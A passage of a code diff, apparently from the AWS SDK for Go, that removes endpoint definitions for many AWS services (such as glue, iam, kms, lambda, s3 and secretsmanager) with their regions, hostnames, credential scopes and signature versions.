endpoint{ - Protocols: []string{"http", "https"}, - }, - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "glue": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "greengrass": service{ - IsRegionalized: boxedTrue, - Defaults: endpoint{ - Protocols: []string{"https"}, - }, - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "us-east-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "guardduty": service{ - IsRegionalized: boxedTrue, - Defaults: endpoint{ - Protocols: []string{"https"}, - }, - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "health": service{ - - Endpoints: endpoints{ - "us-east-1": endpoint{}, - }, - }, - "iam": service{ - PartitionEndpoint: "aws-global", - IsRegionalized: boxedFalse, - - Endpoints: endpoints{ - "aws-global": endpoint{ - Hostname: "iam.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-east-1", - }, - }, - }, - }, - "importexport": service{ - PartitionEndpoint: "aws-global", - IsRegionalized: boxedFalse, - - Endpoints: endpoints{ - "aws-global": endpoint{ - Hostname: "importexport.amazonaws.com", - SignatureVersions: []string{"v2", "v4"}, - CredentialScope: credentialScope{ - Region: "us-east-1", - Service: "IngestionService", - }, - }, - }, - }, - "inspector": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "iot": service{ - Defaults: endpoint{ - CredentialScope: credentialScope{ - Service: "execute-api", - }, - }, - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "iotanalytics": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "kinesis": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "kinesisanalytics": service{ - - Endpoints: endpoints{ - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "kinesisvideo": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "us-east-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "kms": service{ - - Endpoints: endpoints{ - "ProdFips": endpoint{ - Hostname: "kms-fips.ca-central-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "ca-central-1", - }, - }, - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "lambda": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "license-manager": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "lightsail": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "logs": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "machinelearning": service{ - - Endpoints: endpoints{ - "eu-west-1": endpoint{}, - "us-east-1": endpoint{}, - }, - }, - "marketplacecommerceanalytics": service{ - - Endpoints: endpoints{ - "us-east-1": endpoint{}, - }, - }, - "mediaconvert": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "medialive": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "mediapackage": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "mediastore": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-southeast-2": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "us-east-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "metering.marketplace": service{ - Defaults: endpoint{ - CredentialScope: credentialScope{ - Service: "aws-marketplace", - }, - }, - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "mgh": service{ - - Endpoints: endpoints{ - "us-west-2": endpoint{}, - }, - }, - "mobileanalytics": service{ - - Endpoints: endpoints{ - "us-east-1": endpoint{}, - }, - }, - "models.lex": service{ - Defaults: endpoint{ - CredentialScope: credentialScope{ - Service: "lex", - }, - }, - Endpoints: endpoints{ - "eu-west-1": endpoint{}, - "us-east-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "monitoring": service{ - Defaults: endpoint{ - Protocols: []string{"http", "https"}, - }, - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "mq": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "mturk-requester": service{ - IsRegionalized: boxedFalse, - - Endpoints: endpoints{ - "sandbox": endpoint{ - Hostname: "mturk-requester-sandbox.us-east-1.amazonaws.com", - }, - "us-east-1": endpoint{}, - }, - }, - "neptune": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{ - Hostname: "rds.ap-northeast-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "ap-northeast-1", - }, - }, - "ap-southeast-1": endpoint{ - Hostname: "rds.ap-southeast-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "ap-southeast-1", - }, - }, - "ap-southeast-2": endpoint{ - Hostname: "rds.ap-southeast-2.amazonaws.com", - CredentialScope: credentialScope{ - Region: "ap-southeast-2", - }, - }, - "eu-central-1": endpoint{ - Hostname: "rds.eu-central-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "eu-central-1", - }, - }, - "eu-west-1": endpoint{ - Hostname: "rds.eu-west-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "eu-west-1", - }, - }, - "eu-west-2": endpoint{ - Hostname: "rds.eu-west-2.amazonaws.com", - CredentialScope: credentialScope{ - Region: "eu-west-2", - }, - }, - "us-east-1": endpoint{ - Hostname: "rds.us-east-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-east-1", - }, - }, - "us-east-2": endpoint{ - Hostname: "rds.us-east-2.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-east-2", - }, - }, - "us-west-2": endpoint{ - Hostname: "rds.us-west-2.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-west-2", - }, - }, - }, - }, - "opsworks": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "opsworks-cm": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "organizations": service{ - PartitionEndpoint: "aws-global", - IsRegionalized: boxedFalse, - - Endpoints: endpoints{ - "aws-global": endpoint{ - Hostname: "organizations.us-east-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-east-1", - }, - }, - }, - }, - "pinpoint": service{ - Defaults: endpoint{ - CredentialScope: credentialScope{ - Service: "mobiletargeting", - }, - }, - Endpoints: endpoints{ - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "us-east-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "polly": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "rds": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{ - SSLCommonName: "{service}.{dnsSuffix}", - }, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "redshift": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "rekognition": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "eu-west-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "resource-groups": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "robomaker": service{ - - Endpoints: endpoints{ - "eu-west-1": endpoint{}, - "us-east-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "route53": service{ - PartitionEndpoint: "aws-global", - IsRegionalized: boxedFalse, - - Endpoints: endpoints{ - "aws-global": endpoint{ - Hostname: "route53.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-east-1", - }, - }, - }, - }, - "route53domains": service{ - - Endpoints: endpoints{ - "us-east-1": endpoint{}, - }, - }, - "route53resolver": service{ - Defaults: endpoint{ - Protocols: []string{"https"}, - }, - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "runtime.lex": service{ - Defaults: endpoint{ - CredentialScope: credentialScope{ - Service: "lex", - }, - }, - Endpoints: endpoints{ - "eu-west-1": endpoint{}, - "us-east-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "runtime.sagemaker": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "s3": service{ - PartitionEndpoint: "us-east-1", - IsRegionalized: boxedTrue, - Defaults: endpoint{ - Protocols: []string{"http", "https"}, - SignatureVersions: []string{"s3v4"}, - - HasDualStack: boxedTrue, - DualStackHostname: "{service}.dualstack.{region}.{dnsSuffix}", - }, - Endpoints: endpoints{ - "ap-northeast-1": endpoint{ - Hostname: "s3.ap-northeast-1.amazonaws.com", - SignatureVersions: []string{"s3", "s3v4"}, - }, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{ - Hostname: "s3.ap-southeast-1.amazonaws.com", - SignatureVersions: []string{"s3", "s3v4"}, - }, - "ap-southeast-2": endpoint{ - Hostname: "s3.ap-southeast-2.amazonaws.com", - SignatureVersions: []string{"s3", "s3v4"}, - }, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{ - Hostname: "s3.eu-west-1.amazonaws.com", - SignatureVersions: []string{"s3", "s3v4"}, - }, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "s3-external-1": endpoint{ - Hostname: "s3-external-1.amazonaws.com", - SignatureVersions: []string{"s3", "s3v4"}, - CredentialScope: credentialScope{ - Region: "us-east-1", - }, - }, - "sa-east-1": endpoint{ - Hostname: "s3.sa-east-1.amazonaws.com", - SignatureVersions: []string{"s3", "s3v4"}, - }, - "us-east-1": endpoint{ - Hostname: "s3.amazonaws.com", - SignatureVersions: []string{"s3", "s3v4"}, - }, - "us-east-2": endpoint{}, - "us-west-1": endpoint{ - Hostname: "s3.us-west-1.amazonaws.com", - SignatureVersions: []string{"s3", "s3v4"}, - }, - "us-west-2": endpoint{ - Hostname: "s3.us-west-2.amazonaws.com", - SignatureVersions: []string{"s3", "s3v4"}, - }, - }, - }, - "s3-control": service{ - Defaults: endpoint{ - Protocols: []string{"https"}, - SignatureVersions: []string{"s3v4"}, - - HasDualStack: boxedTrue, - DualStackHostname: "{service}.dualstack.{region}.{dnsSuffix}", - }, - Endpoints: endpoints{ - "ap-northeast-1": endpoint{ - Hostname: "s3-control.ap-northeast-1.amazonaws.com", - SignatureVersions: []string{"s3v4"}, - CredentialScope: credentialScope{ - Region: "ap-northeast-1", - }, - }, - "ap-northeast-2": endpoint{ - Hostname: "s3-control.ap-northeast-2.amazonaws.com", - SignatureVersions: []string{"s3v4"}, - CredentialScope: credentialScope{ - Region: "ap-northeast-2", - }, - }, - "ap-south-1": endpoint{ - Hostname: "s3-control.ap-south-1.amazonaws.com", - SignatureVersions: []string{"s3v4"}, - CredentialScope: credentialScope{ - Region: "ap-south-1", - }, - }, - "ap-southeast-1": endpoint{ - Hostname: "s3-control.ap-southeast-1.amazonaws.com", - SignatureVersions: []string{"s3v4"}, - CredentialScope: credentialScope{ - Region: "ap-southeast-1", - }, - }, - "ap-southeast-2": endpoint{ - Hostname: "s3-control.ap-southeast-2.amazonaws.com", - SignatureVersions: []string{"s3v4"}, - CredentialScope: credentialScope{ - Region: "ap-southeast-2", - }, - }, - "ca-central-1": endpoint{ - Hostname: "s3-control.ca-central-1.amazonaws.com", - SignatureVersions: []string{"s3v4"}, - CredentialScope: credentialScope{ - Region: "ca-central-1", - }, - }, - "eu-central-1": endpoint{ - Hostname: "s3-control.eu-central-1.amazonaws.com", - SignatureVersions: []string{"s3v4"}, - CredentialScope: credentialScope{ - Region: "eu-central-1", - }, - }, - "eu-north-1": endpoint{ - Hostname: "s3-control.eu-north-1.amazonaws.com", - SignatureVersions: []string{"s3v4"}, - CredentialScope: credentialScope{ - Region: "eu-north-1", - }, - }, - "eu-west-1": endpoint{ - Hostname: "s3-control.eu-west-1.amazonaws.com", - SignatureVersions: []string{"s3v4"}, - CredentialScope: credentialScope{ - Region: "eu-west-1", - }, - }, - "eu-west-2": endpoint{ - Hostname: "s3-control.eu-west-2.amazonaws.com", - SignatureVersions: []string{"s3v4"}, - CredentialScope: credentialScope{ - Region: "eu-west-2", - }, - }, - "eu-west-3": endpoint{ - Hostname: "s3-control.eu-west-3.amazonaws.com", - SignatureVersions: []string{"s3v4"}, - CredentialScope: credentialScope{ - Region: "eu-west-3", - }, - }, - "sa-east-1": endpoint{ - Hostname: "s3-control.sa-east-1.amazonaws.com", - SignatureVersions: []string{"s3v4"}, - CredentialScope: credentialScope{ - Region: "sa-east-1", - }, - }, - "us-east-1": endpoint{ - Hostname: "s3-control.us-east-1.amazonaws.com", - SignatureVersions: []string{"s3v4"}, - CredentialScope: credentialScope{ - Region: "us-east-1", - }, - }, - "us-east-1-fips": endpoint{ - Hostname: "s3-control-fips.us-east-1.amazonaws.com", - SignatureVersions: []string{"s3v4"}, - CredentialScope: credentialScope{ - Region: "us-east-1", - }, - }, - "us-east-2": endpoint{ - Hostname: "s3-control.us-east-2.amazonaws.com", - SignatureVersions: []string{"s3v4"}, - CredentialScope: credentialScope{ - Region: "us-east-2", - }, - }, - "us-east-2-fips": endpoint{ - Hostname: "s3-control-fips.us-east-2.amazonaws.com", - SignatureVersions: []string{"s3v4"}, - CredentialScope: credentialScope{ - Region: "us-east-2", - }, - }, - "us-west-1": endpoint{ - Hostname: "s3-control.us-west-1.amazonaws.com", - SignatureVersions: []string{"s3v4"}, - CredentialScope: credentialScope{ - Region: "us-west-1", - }, - }, - "us-west-1-fips": endpoint{ - Hostname: "s3-control-fips.us-west-1.amazonaws.com", - SignatureVersions: []string{"s3v4"}, - CredentialScope: credentialScope{ - Region: "us-west-1", - }, - }, - "us-west-2": endpoint{ - Hostname: "s3-control.us-west-2.amazonaws.com", - SignatureVersions: []string{"s3v4"}, - CredentialScope: credentialScope{ - Region: "us-west-2", - }, - }, - "us-west-2-fips": endpoint{ - Hostname: "s3-control-fips.us-west-2.amazonaws.com", - SignatureVersions: []string{"s3v4"}, - CredentialScope: credentialScope{ - Region: "us-west-2", - }, - }, - }, - }, - "sdb": service{ - Defaults: endpoint{ - Protocols: []string{"http", "https"}, - SignatureVersions: []string{"v2"}, - }, - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "eu-west-1": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{ - Hostname: "sdb.amazonaws.com", - }, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "secretsmanager": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-1-fips": endpoint{ - Hostname: "secretsmanager-fips.us-east-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-east-1", - }, - }, - "us-east-2": endpoint{}, - "us-east-2-fips": endpoint{ - Hostname: "secretsmanager-fips.us-east-2.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-east-2", - }, - }, - "us-west-1": endpoint{}, - "us-west-1-fips": endpoint{ - Hostname: "secretsmanager-fips.us-west-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-west-1", - }, - }, - "us-west-2": endpoint{}, - "us-west-2-fips": endpoint{ - Hostname: "secretsmanager-fips.us-west-2.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-west-2", - }, - }, - }, - }, - "securityhub": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-2": endpoint{}, - "us-west-1": endpoint{}, - "us-west-2": endpoint{}, - }, - }, - "serverlessrepo": service{ - Defaults: endpoint{ - Protocols: []string{"https"}, - }, - Endpoints: endpoints{ - "ap-northeast-1": endpoint{ - Protocols: []string{"https"}, - }, - "ap-northeast-2": endpoint{ - Protocols: []string{"https"}, - }, - "ap-south-1": endpoint{ - Protocols: []string{"https"}, - }, - "ap-southeast-1": endpoint{ - Protocols: []string{"https"}, - }, - "ap-southeast-2": endpoint{ - Protocols: []string{"https"}, - }, - "ca-central-1": endpoint{ - Protocols: []string{"https"}, - }, - "eu-central-1": endpoint{ - Protocols: []string{"https"}, - }, - "eu-west-1": endpoint{ - Protocols: []string{"https"}, - }, - "eu-west-2": endpoint{ - Protocols: []string{"https"}, - }, - "sa-east-1": endpoint{ - Protocols: []string{"https"}, - }, - "us-east-1": endpoint{ - Protocols: []string{"https"}, - }, - "us-east-2": endpoint{ - Protocols: []string{"https"}, - }, - "us-west-1": endpoint{ - Protocols: []string{"https"}, - }, - "us-west-2": endpoint{ - Protocols: []string{"https"}, - }, - }, - }, - "servicecatalog": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-north-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": endpoint{}, - "eu-west-3": endpoint{}, - "sa-east-1": endpoint{}, - "us-east-1": endpoint{}, - "us-east-1-fips": endpoint{ - Hostname: "servicecatalog-fips.us-east-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-east-1", - }, - }, - "us-east-2": endpoint{}, - "us-east-2-fips": endpoint{ - Hostname: "servicecatalog-fips.us-east-2.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-east-2", - }, - }, - "us-west-1": endpoint{}, - "us-west-1-fips": endpoint{ - Hostname: "servicecatalog-fips.us-west-1.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-west-1", - }, - }, - "us-west-2": endpoint{}, - "us-west-2-fips": endpoint{ - Hostname: "servicecatalog-fips.us-west-2.amazonaws.com", - CredentialScope: credentialScope{ - Region: "us-west-2", - }, - }, - }, - }, - "servicediscovery": service{ - - Endpoints: endpoints{ - "ap-northeast-1": endpoint{}, - "ap-northeast-2": endpoint{}, - "ap-south-1": endpoint{}, - "ap-southeast-1": endpoint{}, - "ap-southeast-2": endpoint{}, - "ca-central-1": endpoint{}, - "eu-central-1": endpoint{}, - "eu-west-1": endpoint{}, - "eu-west-2": 